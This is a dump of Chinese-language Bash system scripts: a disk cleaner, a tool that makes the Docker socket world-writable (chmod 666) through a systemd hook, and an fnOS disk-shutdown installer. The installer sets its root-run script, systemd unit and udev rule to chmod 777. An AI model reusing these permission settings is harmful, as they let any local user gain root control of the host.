user=$(basename "$user_dir")
# 清理缩略图缓存
if [ -d "$user_dir/.cache/thumbnails" ]; then
THUMB_COUNT=$(find "$user_dir/.cache/thumbnails" -type f 2>/dev/null | wc -l)
rm -rf "$user_dir/.cache/thumbnails"/* 2>/dev/null
THUMBNAIL_CLEANED=$((THUMBNAIL_CLEANED + THUMB_COUNT))
fi
fi
done
echo "✓ 已清理缩略图缓存: ${THUMBNAIL_CLEANED}个文件"
# 强制同步文件系统，确保空间统计准确
sync
# 显示清理结果
echo -e "\n=== 清理完成 ==="
# 获取清理后磁盘使用情况
AFTER_USAGE=$(df / | awk 'NR==2 {print $5}' | sed 's/%//')
AFTER_AVAILABLE=$(df -h / | awk 'NR==2 {print $4}')
AFTER_USED=$(df -h / | awk 'NR==2 {print $3}')
echo "清理后磁盘使用情况:"
echo "根分区使用率: ${AFTER_USAGE}%"
echo "已用空间: ${AFTER_USED}"
echo "可用空间: ${AFTER_AVAILABLE}"
# 计算释放的空间（估算）
echo -e "\n=== 释放空间估算 ==="
if [ "$BEFORE_USAGE" -gt "$AFTER_USAGE" ]; then
USAGE_DIFF=$((BEFORE_USAGE - AFTER_USAGE))
echo "✓ 根分区使用率下降: ${USAGE_DIFF}%"
else
echo "⚠ 使用率变化不明显，可能因为系统正在运行中写入新数据"
fi
# 显示主要目录清理后大小对比
echo -e "\n=== 主要目录清理后大小 ==="
echo "日志目录大小:"
get_dir_size "/var/log"
echo "缓存目录大小:"
get_dir_size "/var/cache"
get_dir_size "/tmp"
# 计算清理耗时
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))
echo -e "\n总耗时: ${DURATION}秒"
echo "清理完成时间: $(date)"
# 最终统计
TOTAL_CLEANED=$((OLD_LOGS_CLEANED + GZ_LOGS_CLEANED + OLD_FILES_CLEANED + TMP_CLEANED + VAR_TMP_CLEANED + APT_CLEANED_COUNT + THUMBNAIL_CLEANED + CRASH_FILES))
echo -e "\n=== 清理统计 ==="
echo "总计清理文件数量: ${TOTAL_CLEANED} 个"
echo -e "\n建议重启系统以使所有更改生效，特别是如果清理了被进程占用的日志文件。"
|
2301_82242223/3
|
diskclean.sh
|
Shell
|
unknown
| 8,832
|
#!/bin/bash
# 开放第三方项目使用Docker服务权限脚本（Docker启动后延时修改权限脚本）
set -e
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# 变量定义
SCRIPT_PATH="/usr/local/bin/docker-socket-delayed-fix.sh"
OVERRIDE_DIR="/etc/systemd/system/docker.service.d"
OVERRIDE_FILE="$OVERRIDE_DIR/delayed-fix.conf"
DOCKER_SOCKET="/var/run/docker.sock"
LOG_FILE="/var/log/docker-socket-fix.log"
# 显示标题
echo -e "${BLUE}"
echo "========================================"
echo " 开放第三方项目使用Docker服务权限脚本"
echo " （Docker启动后延时修改权限）"
echo "========================================"
echo -e "${NC}"
# 检查当前状态
check_status() {
echo -e "${YELLOW}检查当前状态...${NC}"
# 检查脚本文件
if [ -f "$SCRIPT_PATH" ]; then
echo -e "延时脚本: ${GREEN}已安装${NC}"
echo -e "脚本路径: $SCRIPT_PATH"
# 显示当前等待时间
local wait_time=$(grep "sleep" "$SCRIPT_PATH" | head -1 | awk '{print $2}')
echo -e "当前等待时间: ${YELLOW}${wait_time}秒${NC}"
else
echo -e "延时脚本: ${RED}未安装${NC}"
fi
echo ""
# 检查覆盖配置
if [ -f "$OVERRIDE_FILE" ]; then
echo -e "覆盖配置: ${GREEN}已安装${NC}"
echo -e "配置文件: $OVERRIDE_FILE"
echo -e "文件内容:"
cat "$OVERRIDE_FILE"
else
echo -e "覆盖配置: ${RED}未安装${NC}"
fi
echo ""
# 检查日志
if [ -f "$LOG_FILE" ]; then
echo -e "修改日志: ${GREEN}存在${NC}"
echo -e "日志路径: $LOG_FILE"
echo -e "最近日志:"
tail -5 "$LOG_FILE"
else
echo -e "修改日志: ${RED}不存在${NC}"
fi
echo ""
# 检查 Docker socket 权限
if [ -e "$DOCKER_SOCKET" ]; then
local perms=$(ls -la "$DOCKER_SOCKET" | awk '{print $1}')
echo -e "Docker Socket 权限: $perms"
if [ "$perms" = "srw-rw-rw-" ]; then
echo -e "权限状态: ${GREEN}开放（所有用户可访问）${NC}"
else
echo -e "权限状态: ${RED}受限（仅 root 和 docker 组可访问）${NC}"
fi
else
echo -e "Docker Socket: ${RED}不存在${NC}"
fi
}
# 显示管理命令备忘
show_management_commands() {
echo -e "${BLUE}"
echo "========================================"
echo " 管理命令备忘"
echo "========================================"
echo -e "${NC}"
echo -e "${YELLOW}📋 常用管理命令${NC}"
echo -e " ${GREEN}查看实时日志${NC} : sudo tail -f $LOG_FILE"
echo -e " ${GREEN}重启 Docker 服务${NC} : sudo systemctl restart docker.service"
echo -e " ${GREEN}检查服务状态${NC} : sudo systemctl status docker.service"
echo -e " ${GREEN}测试 Docker${NC} : docker ps"
echo ""
echo -e "${YELLOW}⚙️ 配置调整${NC}"
echo -e " ${GREEN}调整等待时间${NC} : sudo nano $SCRIPT_PATH"
echo -e " 修改 'sleep 10' 中的数字 (当前: $(grep "sleep" "$SCRIPT_PATH" 2>/dev/null | head -1 | awk '{print $2}' || echo "未知")秒)"
echo -e " ${GREEN}重新加载配置${NC} : sudo systemctl daemon-reload && sudo systemctl restart docker.service"
echo ""
echo -e "${YELLOW}📁 文件位置${NC}"
echo -e " ${GREEN}延时脚本${NC} : $SCRIPT_PATH"
echo -e " ${GREEN}覆盖配置${NC} : $OVERRIDE_FILE"
echo -e " ${GREEN}日志文件${NC} : $LOG_FILE"
echo -e " ${GREEN}Docker Socket${NC}: $DOCKER_SOCKET"
echo ""
echo -e "${YELLOW}🔍 故障排查${NC}"
echo -e " ${GREEN}检查脚本执行${NC} : 查看日志文件是否有新记录"
echo -e " ${GREEN}检查权限状态${NC} : ls -la $DOCKER_SOCKET"
echo -e " ${GREEN}检查服务配置${NC} : sudo systemctl cat docker.service"
echo -e " ${GREEN}查看系统日志${NC} : sudo journalctl -u docker.service -n 20"
echo ""
echo -e "${YELLOW}🛠️ 高级操作${NC}"
echo -e " ${GREEN}手动修改权限${NC} : sudo chmod 666 $DOCKER_SOCKET"
echo -e " ${GREEN}查看进程状态${NC} : ps aux | grep docker-socket-delayed"
echo -e " ${GREEN}清理日志文件${NC} : sudo truncate -s 0 $LOG_FILE"
echo -e " ${GREEN}手动运行脚本${NC} : sudo $SCRIPT_PATH"
echo ""
echo -e "${YELLOW}📝 使用提示${NC}"
echo -e " • 重启 Docker 服务后会自动触发权限修改"
echo -e " • 系统重启后配置依然有效"
echo -e " • 如果 Docker 启动较慢，可适当增加等待时间"
echo -e " • 日志文件会记录每次权限修改的时间"
echo ""
}
# 安装延时修改方案
install_delayed_solution() {
# 检查当前权限状态
if [ -e "$DOCKER_SOCKET" ]; then
local perms=$(stat -c "%a" "$DOCKER_SOCKET")
if [ "$perms" = "666" ]; then
echo -e "${YELLOW}您目前的$DOCKER_SOCKET权限状态为0666（已开放）${NC}"
# 循环等待有效输入
while true; do
read -p "确认继续安装吗？这将会重启docker，请注意先保存数据！(y/Y继续, n/N取消): " confirm
case $confirm in
[yY])
echo -e "${GREEN}继续安装...${NC}"
break
;;
[nN])
echo -e "${YELLOW}取消安装，返回主菜单。${NC}"
return
;;
*)
echo -e "${RED}输入错误，请输入 y/Y 或 n/N${NC}"
;;
esac
done
fi
fi
echo -e "${YELLOW}正在安装 Docker Socket 延时权限修改...${NC}"
# 创建延时脚本
sudo tee "$SCRIPT_PATH" > /dev/null << 'EOF'
#!/bin/bash
# 等待 Docker socket 创建并稳定
sleep 10
# 设置权限
if [ -e /var/run/docker.sock ]; then
chmod 666 /var/run/docker.sock
echo "$(date): Docker socket permissions fixed" >> /var/log/docker-socket-fix.log
fi
EOF
sudo chmod +x "$SCRIPT_PATH"
echo -e "${GREEN}延时脚本已创建: $SCRIPT_PATH${NC}"
# 创建覆盖配置
sudo mkdir -p "$OVERRIDE_DIR"
sudo tee "$OVERRIDE_FILE" > /dev/null << EOF
[Service]
ExecStartPost=/bin/bash -c "$SCRIPT_PATH &"
EOF
echo -e "${GREEN}覆盖配置文件已创建${NC}"
# 重新加载 systemd 配置
sudo systemctl daemon-reload
echo -e "${GREEN}systemd 配置已重新加载${NC}"
# 重启 Docker 服务
sudo systemctl restart docker.service
echo -e "${GREEN}Docker 服务已重启${NC}"
# 等待延时脚本执行
echo -e "${YELLOW}等待延时脚本执行 (12秒)...${NC}"
sleep 12
# 验证权限
if [ -e "$DOCKER_SOCKET" ]; then
local perms=$(ls -la "$DOCKER_SOCKET" | awk '{print $1}')
if [ "$perms" = "srw-rw-rw-" ]; then
echo -e "${GREEN}✓ Docker 权限已成功开放！${NC}"
else
echo -e "${RED}✗ 权限设置可能未生效，当前权限: $perms${NC}"
fi
fi
echo -e "${GREEN}✓ Docker 权限延时修改已安装！${NC}"
echo -e "${YELLOW}注意: 使用延时后台脚本，无需持续运行的监控进程${NC}"
}
# 卸载延时修改方案
uninstall_delayed_solution() {
echo -e "${YELLOW}正在检查卸载状态...${NC}"
# 检查相关文件是否存在
local files_exist=0
local files_list=()
if [ -f "$OVERRIDE_FILE" ]; then
files_exist=$((files_exist+1))
files_list+=("$OVERRIDE_FILE")
fi
if [ -f "$SCRIPT_PATH" ]; then
files_exist=$((files_exist+1))
files_list+=("$SCRIPT_PATH")
fi
if [ -f "$LOG_FILE" ]; then
files_exist=$((files_exist+1))
files_list+=("$LOG_FILE")
fi
# 如果所有文件都不存在，提示无需卸载
if [ $files_exist -eq 0 ]; then
echo -e "${GREEN}所有相关文件均已不存在，无需卸载。${NC}"
echo -e "${YELLOW}无需执行卸载操作，返回主菜单。${NC}"
return
fi
# 显示存在的文件
echo -e "${YELLOW}发现以下文件存在:${NC}"
for file in "${files_list[@]}"; do
echo -e " - $file"
done
# 循环等待有效输入
while true; do
read -p "确认继续卸载吗？这将会重启docker，请注意先保存数据！(y/Y继续, n/N取消): " confirm
case $confirm in
[yY])
echo -e "${GREEN}继续卸载...${NC}"
break
;;
[nN])
echo -e "${YELLOW}取消卸载，返回主菜单。${NC}"
return
;;
*)
echo -e "${RED}输入错误，请输入 y/Y 或 n/N${NC}"
;;
esac
done
echo -e "${YELLOW}正在卸载 Docker 权限延时修改...${NC}"
# 删除覆盖配置
if [ -f "$OVERRIDE_FILE" ]; then
sudo rm -f "$OVERRIDE_FILE"
echo -e "${GREEN}覆盖配置文件已删除${NC}"
# 检查目录是否为空，如果是则删除
if [ -d "$OVERRIDE_DIR" ] && [ -z "$(ls -A "$OVERRIDE_DIR")" ]; then
sudo rmdir "$OVERRIDE_DIR"
echo -e "${GREEN}空目录 $OVERRIDE_DIR 已删除${NC}"
fi
fi
# 删除延时脚本
if [ -f "$SCRIPT_PATH" ]; then
sudo rm -f "$SCRIPT_PATH"
echo -e "${GREEN}延时脚本已删除${NC}"
fi
# 删除日志文件（可选）
if [ -f "$LOG_FILE" ]; then
sudo rm -f "$LOG_FILE"
echo -e "${GREEN}日志文件已删除${NC}"
fi
# 重新加载 systemd 配置
sudo systemctl daemon-reload
echo -e "${GREEN}systemd 配置已重新加载${NC}"
# 重启 Docker 服务
sudo systemctl restart docker.service
echo -e "${GREEN}Docker 服务已重启${NC}"
echo -e "${GREEN}✓ Docker 权限延时修改已卸载！${NC}"
}
# 重启测试
restart_test() {
echo -e "${YELLOW}执行重启测试...${NC}"
local initial_perms=$(stat -c "%a" "$DOCKER_SOCKET" 2>/dev/null || echo "不存在")
echo -e "重启前权限: $initial_perms"
# 重启 Docker 服务
echo -e "重启 Docker 服务..."
if sudo systemctl restart docker.service; then
echo -e "${GREEN}Docker 服务重启成功${NC}"
else
echo -e "${RED}Docker 服务重启失败${NC}"
return 1
fi
# 等待延时脚本执行
echo -e "等待延时脚本执行 (12秒)..."
sleep 12
# 检查重启后权限
local after_restart_perms=$(stat -c "%a" "$DOCKER_SOCKET" 2>/dev/null || echo "不存在")
echo -e "重启后权限: $after_restart_perms"
# 测试 Docker 命令
echo -e "测试 Docker 命令..."
if docker ps > /dev/null 2>&1; then
echo -e "${GREEN}✓ Docker 命令执行成功${NC}"
else
echo -e "${RED}✗ Docker 命令执行失败${NC}"
fi
if [ "$after_restart_perms" = "666" ]; then
echo -e "${GREEN}✓ 权限修改成功${NC}"
else
echo -e "${RED}✗ 权限修改失败${NC}"
fi
# 查看最新日志
echo -e "\n最新日志:"
sudo tail -3 "$LOG_FILE" 2>/dev/null || echo "无日志"
}
# 显示菜单
show_menu() {
echo -e "${BLUE}请选择操作:${NC}"
echo -e "${YELLOW}注意：安装和卸载会重启docker服务！${NC}"
echo -e "${YELLOW} 请务必先对运行中的容器做好数据保存并退出！${NC}"
echo -e " ${GREEN}1${NC}) 安装开放docker权限使用（权限改为666）"
echo -e " ${GREEN}2${NC}) 卸载（清理相关文件）"
echo -e " ${GREEN}3${NC}) 检查当前状态"
echo -e " ${GREEN}4${NC}) 执行重启测试"
echo -e " ${GREEN}5${NC}) 管理命令备忘"
echo -e " ${GREEN}6${NC}) 退出"
echo ""
read -p "请输入选择 [1-6]: " choice
}
# 主函数
main() {
# 检查是否以 root 运行
if [ "$EUID" -ne 0 ]; then
echo -e "${RED}错误: 此脚本需要以 root 权限运行${NC}"
echo "请使用: sudo $0"
exit 1
fi
while true; do
show_menu
case $choice in
1)
check_status
install_delayed_solution
;;
2)
check_status
uninstall_delayed_solution
;;
3)
check_status
;;
4)
check_status
restart_test
;;
5)
show_management_commands
;;
6)
echo -e "${BLUE}再见！${NC}"
exit 0
;;
*)
echo -e "${RED}无效选择，请重新输入${NC}"
;;
esac
echo ""
read -p "按 Enter 键返回主菜单..."
echo ""
done
}
# 运行主函数
main "$@"
|
2301_82242223/3
|
docker666.sh
|
Shell
|
unknown
| 13,368
|
#!/bin/bash
# 飞牛OS磁盘管理部署脚本（简化版）
# 终端颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BOLD='\033[1m'
NC='\033[0m'
# 路径常量 - 修改业务脚本路径为/usr/local/bin/
SERVICE_SCRIPT="/usr/local/bin/scsi-disk-manager"
UDEV_RULE="/etc/udev/rules.d/99-scsi-disk-trigger.rules"
SYSTEMD_SERVICE="/etc/systemd/system/scsi-disk-manager.service"
LOG_DIR="/vol1/1000/_HDDlog"
LOG_FILE="$LOG_DIR/scsi-disk-manager.log"
# 权限检查
if [[ $EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行，可在指令前面加sudo临时提权"
exit 1
fi
# 交互流程1：安装、卸载选择（优化输入判定）
clear
echo "--------------------------------------------------------------------------------"
echo -e "${BOLD}【功能说明】${NC}"
echo " • 即将部署：manage_shutdown（关机安全断电管理）"
echo " • 功能作用：控制硬盘在系统关机/重启阶段的断电逻辑（确保数据同步、安全断电）"
echo " • 解决问题：飞牛OS关机时硬盘异响，硬盘不安全断电次数增加的问题"
echo " • 部署内容：启用功能（修改关键值为1）、配置systemd开机自启、udev热插拔触发、配置日志记录"
echo "--------------------------------------------------------------------------------"
echo -e "${BOLD}【请选择安装或卸载】${NC}"
echo "1. 一键部署并开启飞牛OS关机磁盘安全断电管理功能"
echo -e "2. 一键卸载 ${RED}（禁用功能（关键值改为0），清理所有组件）${NC}"
echo -e "\n${YELLOW}操作说明：单选1或2，无操作2分钟后自动退出，按ctrl+c中断退出${NC}"
# 优化输入判定：循环等待有效输入，增加错误提示
while true; do
read -t 120 OPTION
# 超时处理
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
# 有效输入判定
if [ "$OPTION" = "1" ] || [ "$OPTION" = "2" ]; then
break
else
echo -e "${RED}❌ 输入无效！请仅输入数字1（安装）或2（卸载）${NC}"
echo -e "${YELLOW}再次提示：单选1或2，无操作2分钟后自动退出${NC}"
fi
done
# 卸载函数（直接将关键值改为0，不询问）
uninstall() {
# 卸载前二次确认（新增无效输入循环）
clear
echo -e "${BOLD}此操作会执行：${NC}"
echo "禁用manage_shutdown（关键值改为0）、"
echo "清理systemd服务、"
echo "清理udev规则、"
echo "清理业务脚本、"
echo "清理脚本日志目录"
echo -e "\n${YELLOW}输入y/Y确认卸载，按ctrl+c中断退出${NC}"
# 新增：循环等待有效输入
while true; do
read -t 120 CONFIRM_UNINSTALL
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
if [ "$CONFIRM_UNINSTALL" = "y" ] || [ "$CONFIRM_UNINSTALL" = "Y" ]; then
break
else
echo -e "${RED}输入无效，请输入y/Y确认卸载，或按ctrl+c中断${NC}"
fi
done
# 直接将所有磁盘关键值设为0（不询问）
echo -e "\n${BOLD}【卸载步骤1：禁用关机安全断电功能】${NC}"
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "$disk_dir" ]] || continue
disk_scsi_id=$(basename "$disk_dir")
echo "处理磁盘$disk_scsi_id..."
# 将 manage_shutdown 强制设为 0
echo 0 > "$disk_dir/manage_shutdown" 2>/dev/null
new_value=$(cat "$disk_dir/manage_shutdown" 2>/dev/null)
if [[ "$new_value" -eq 0 ]]; then
echo " - 已成功设置 manage_shutdown=0"
else
echo " - 设置 manage_shutdown=0 失败"
fi
done
# 原卸载逻辑：清理组件（完全保留，无修改）
echo -e "\n${BOLD}【卸载步骤2：清理组件】${NC}"
# 1. 清理systemd服务
if [ -f "$SYSTEMD_SERVICE" ]; then
# 先停止服务（若正在运行）
if systemctl is-active --quiet scsi-disk-manager.service; then
systemctl stop scsi-disk-manager.service
fi
# 关键修改：捕获 systemctl disable 的输出，判断是否删除开机自启链接
echo "正在禁用systemd服务开机自启..."
DISABLE_OUTPUT=$(systemctl disable scsi-disk-manager.service 2>&1) # 捕获 stdout 和 stderr
if echo "$DISABLE_OUTPUT" | grep -q "Removed"; then
# 捕捉到 Removed 提示，说明开机自启链接已成功删除
echo " - 已成功删除 scsi-disk-manager 服务的开机自启链接"
else
# 未捕捉到，提示可能未删除（可能本身未启用开机自启，或链接不存在）
echo " - 未检测到开机自启链接（可能已删除或未启用），跳过链接删除"
fi
# 删除服务文件
rm -f "$SYSTEMD_SERVICE"
systemctl daemon-reload
echo "1. 已清理systemd服务"
else
echo "1. systemd服务文件不存在，跳过清理"
fi
# 2. 清理udev规则
if [ -f "$UDEV_RULE" ]; then
rm -f "$UDEV_RULE"
udevadm control --reload-rules
echo "2. 已清理udev规则"
else
echo "2. udev规则文件不存在，跳过清理"
fi
# 3. 清理业务脚本（同步更新路径）
if [ -f "$SERVICE_SCRIPT" ]; then
rm -f "$SERVICE_SCRIPT"
echo "3. 已清理业务脚本"
else
echo "3. 业务脚本不存在，跳过清理"
fi
# 4. 清理日志目录（自定义日志）
if [ -d "$LOG_DIR" ]; then
rm -rf "$LOG_DIR"
echo "4. 已清理自定义日志目录"
else
echo "4. 自定义日志目录不存在，跳过清理"
fi
echo -e "\n${GREEN}✅ 【卸载完成】已禁用关机磁盘安全断电功能并清理所有组件${NC}"
exit 0
}
# 若选择卸载，执行卸载流程；选择安装，继续后续功能选择
if [ "$OPTION" = "2" ]; then
uninstall
elif [ "$OPTION" != "1" ]; then
echo -e "${RED}无效选项，退出${NC}"
exit 1
fi
# 直接启用功能2：manage_shutdown（不再提供功能选择）
SELECTED_FUNC_LIST=("manage_shutdown:关机安全断电管理")
SELECTED_FUNCS="2"
# 部署步骤1/4：修改为目录检测（替换原挂载检测）
echo -e "\n${BOLD}【部署步骤1/4:检查日志目录状态】${NC}"
if [ ! -d "$LOG_DIR" ]; then
echo -e "${YELLOW}日志目录$LOG_DIR不存在，正在创建...${NC}"
mkdir -p "$LOG_DIR" 2>/dev/null
chmod 777 "$LOG_DIR"
if [ $? -ne 0 ]; then
echo -e "${RED}创建日志目录失败，部署终止！${NC}"
exit 1
fi
fi
echo -e "${GREEN}✅ 日志目录$LOG_DIR已就绪，继续部署${NC}"
sleep 1
# 若业务脚本存在，在生成业务脚本前添加覆盖提示：
if [ -f "$SERVICE_SCRIPT" ]; then
echo -e "${YELLOW}提示：$SERVICE_SCRIPT 已存在，即将覆盖${NC}"
fi
# 步骤1/3：动态生成服务脚本（仅保留 manage_shutdown 功能，删除备份相关逻辑）
echo -e "${BOLD}【部署步骤2/4：生成业务脚本】${NC}"
cat > "$SERVICE_SCRIPT" <<EOF
#!/bin/bash
# 飞牛OS磁盘管理业务脚本（仅启用：关机安全断电管理）
AUTO_TRIGGER=\${AUTO_TRIGGER:-false}
LOG_DIR="$LOG_DIR"
LOG_FILE="$LOG_FILE"
SERVICE_PATH="$SERVICE_SCRIPT"
# 30秒等待
if [ "\$AUTO_TRIGGER" = "false" ]; then
echo -n "【等待阶段】等待日志目录就绪，30秒后开始执行..."
for ((i=30; i>0; i--)); do
echo -ne "\r【等待阶段】等待日志目录就绪，\$i秒后开始执行..."
sleep 1
done
echo -e "\r【等待阶段】等待日志目录就绪，0秒后开始执行..."
else
sleep 30
fi
# 新增：目录检测（替换原挂载检测）
if [ ! -d "\$LOG_DIR" ]; then
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "【自动触发失败】日志目录\$LOG_DIR不存在，无法执行" >> "\$LOG_FILE"
else
echo "【错误】日志目录\$LOG_DIR不存在，无法执行"
fi
exit 1
fi
# 创建日志目录（777权限）
mkdir -p "\$LOG_DIR" 2>/dev/null
chmod 777 "\$LOG_DIR"
touch "\$LOG_FILE" 2>/dev/null
chmod 777 "\$LOG_FILE"
# 权限检查
if [[ \$EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行" | tee -a "\$LOG_FILE"
echo "【手动执行提示】若需手动触发配置，可执行：sudo \$SERVICE_PATH" | tee -a "\$LOG_FILE"
exit 1
fi
# 启动信息
START_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo -e "\n\n\n================【自动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
else
echo -e "\n\n\n================【手动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
fi
sleep 1
# 磁盘配置核心逻辑（仅处理 manage_shutdown）
DISK_TOTAL=\$(ls -A /sys/class/scsi_disk/ 2>/dev/null | wc -l)
echo "【磁盘检测】共读取到\$DISK_TOTAL个硬盘" | tee -a "\$LOG_FILE"
echo "-------------------------------------------------------------------------------" | tee -a "\$LOG_FILE"
# 新增：细分统计变量
declare -a SUCCESS_DISKS=()
declare -a FAILED_DISKS=()
declare -a NO_OPERATION_DISKS=()
DISK_PROCESSED=0
SUCCESS_PROCESSED=0
FAILED_PROCESSED=0
NO_OPERATION_COUNT=0
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "\$disk_dir" ]] || continue
DISK_PROCESSED=\$((DISK_PROCESSED + 1))
disk_scsi_id=\$(basename "\$disk_dir")
disk_dev_subdir=\$(find "\$disk_dir/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=\$(basename "\$disk_dev_subdir")
disk_dev_path="/dev/\$disk_dev"
# 获取磁盘信息
if command -v lsblk &>/dev/null; then
disk_model=\$(lsblk -no MODEL "\$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_serial=\$(lsblk -no SERIAL "\$disk_dev_path" 2>/dev/null || echo "未知序列号")
else
disk_model="未知型号"
disk_serial="未知序列号"
fi
# 配置输出
echo "【硬盘信息】盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial" | tee -a "\$LOG_FILE"
# 新增：当前磁盘的状态标记
all_success=true
has_modification=false
all_no_operation=true
# 仅配置 manage_shutdown
file_name="manage_shutdown"
func_desc="关机安全断电管理"
file_path="\$disk_dir/\$file_name"
if [[ -f "\$file_path" ]]; then
orig_value=\$(cat "\$file_path")
printf "%-30s（%-20s） 原始值：%s → " "\$file_name" "\$func_desc" "\$orig_value" | tee -a "\$LOG_FILE"
# 根据原始值判断是否需要修改
if [[ "\$orig_value" -eq 0 ]]; then
# 原始值为0，执行修改
echo 1 > "\$file_path" 2>/dev/null
new_value=\$(cat "\$file_path")
if [[ "\$new_value" -eq 1 ]]; then
result="新值：\$new_value【成功】"
has_modification=true
all_no_operation=false
else
result="新值：\$new_value【失败】"
all_success=false
all_no_operation=false
fi
else
# 原始值为1，不修改
result="保持值：1【无需修改】"
fi
echo "\$result" | tee -a "\$LOG_FILE"
else
printf "%-30s（%-20s） 文件不存在【失败】\n" "\$file_name" "\$func_desc" | tee -a "\$LOG_FILE"
all_success=false
all_no_operation=false
fi
echo "-------------------------------------------------------------------------------" | tee -a "\$LOG_FILE"
# 记录结果
disk_info="盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial | SCSI_ID:\$disk_scsi_id"
if [ "\$all_success" = true ]; then
if [ "\$all_no_operation" = true ]; then
NO_OPERATION_DISKS+=("\$disk_info")
NO_OPERATION_COUNT=\$((NO_OPERATION_COUNT + 1))
else
SUCCESS_DISKS+=("\$disk_info")
SUCCESS_PROCESSED=\$((SUCCESS_PROCESSED + 1))
fi
else
FAILED_DISKS+=("\$disk_info")
FAILED_PROCESSED=\$((FAILED_PROCESSED + 1))
fi
done
# 配置统计
echo "----------------------------【配置统计】----------------------------------------" | tee -a "\$LOG_FILE"
echo "【处理总量】共读取到\$DISK_TOTAL个硬盘 | 本次处理成功\$SUCCESS_PROCESSED个 | 本次处理失败\$FAILED_PROCESSED个 | 本次无需处理\$NO_OPERATION_COUNT个" | tee -a "\$LOG_FILE"
# 提示信息
echo "【提示】" | tee -a "\$LOG_FILE"
echo "1. 若自动化失败尝试手动执行：sudo /usr/local/bin/scsi-disk-manager" | tee -a "\$LOG_FILE"
echo "2. 卸载脚本：重新执行原始脚本并选择卸载" | tee -a "\$LOG_FILE"
echo "3. 本日志自动保留最新500行，超出自动清理老旧日志" | tee -a "\$LOG_FILE"
# 结束信息
END_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "………………………………【自动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
else
echo "………………………………【手动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
fi
# 日志裁剪：仅保留最后500行
if [ -f "\$LOG_FILE" ]; then
tail -n 500 "\$LOG_FILE" > "\$LOG_FILE.tmp"
mv -f "\$LOG_FILE.tmp" "\$LOG_FILE"
chmod 777 "\$LOG_FILE"
fi
EOF
# 设置服务脚本权限为777
chmod 777 "$SERVICE_SCRIPT"
echo -e "${GREEN}✅ 业务脚本已生成（仅启用：关机安全断电管理）${NC}"
sleep 1
echo -e "\n${BOLD}【部署步骤3/4：配置systemd服务】${NC}"
cat > "$SYSTEMD_SERVICE" <<EOF
[Unit]
Description=SCSI Disk Manager Service
After=local-fs.target
[Service]
Type=oneshot
User=root
Group=root
Environment="AUTO_TRIGGER=true"
ExecStart=$SERVICE_SCRIPT
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# 赋权：777权限
chmod 777 "$SYSTEMD_SERVICE"
echo -e "${GREEN}✅ systemd服务文件已生成${NC}"
# 记录触发前的日志位置
echo "尝试记录触发前日志位置，用于开机自启验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 让 systemd 服务管理器重新读取所有服务配置文件
systemctl daemon-reload
# 尝试启用开机自启、启动systemd服务、触发业务脚本执行
echo -e "启用开机自启、启动systemd服务、触发业务脚本执行..."
echo -e "请等待验证systemd服务触发业务脚本，大约35秒..."
systemctl enable --now scsi-disk-manager.service
echo -e "请等待日志验证..."
# 等待3秒
sleep 3
# 对比触发前的日志位置检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 开机自启测试成功，已生成自动触发日志${NC}"
else
echo -e " ${YELLOW}⚠ 开机自启测试失败，未检测到新日志${NC}"
fi
# 尝试捕获触发日志
echo -e "\n${BOLD}【尝试读取日志验证systemd服务触发状态】${NC}"
START_RECORD=$(grep -E "【(自动|手动)触发-业务脚本启动】" "$LOG_FILE" | tail -n 1)
if [ -n "$START_RECORD" ]; then
START_TIME=$(echo "$START_RECORD" | sed -n 's/.*【[^】]*】\([0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\).*/\1/p')
if [ -n "$START_TIME" ]; then
echo -e "${GREEN}✅ 成功捕获脚本启动时间记录：$START_TIME${NC}"
echo -e "${GREEN}systemd服务开机自启已配置并触发，请在储存空间1/_HDDlog目录查看完整日志${NC}"
else
echo -e "${YELLOW}⚠ 捕获到启动记录，但未提取到时间戳，建议手动查看日志确认${NC}"
fi
else
echo -e "${RED}❌ 未捕获到服务启动日志，可能systemd服务触发失败${NC}"
echo -e "${YELLOW}排查建议：1. 检查服务状态：systemctl status scsi-disk-manager.service 2. 手动查看日志：cat $LOG_FILE${NC}"
fi
sleep 1
# 步骤3：配置udev规则
echo -e "\n${BOLD}【部署步骤4/4：部署新插入磁盘自动触发udev规则】${NC}"
cat > "$UDEV_RULE" <<EOF
ACTION=="add", SUBSYSTEM=="scsi_disk", RUN+="/bin/systemctl start scsi-disk-manager.service"
EOF
chmod 777 "$UDEV_RULE"
udevadm control --reload-rules
echo -e "${GREEN}✅ udev规则文件已生成${NC}"
sleep 1
# 记录触发前的日志位置
echo "尝试记录触发前日志位置，用于udev有效性验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 验证udev规则是否生效（完全保留原有代码）
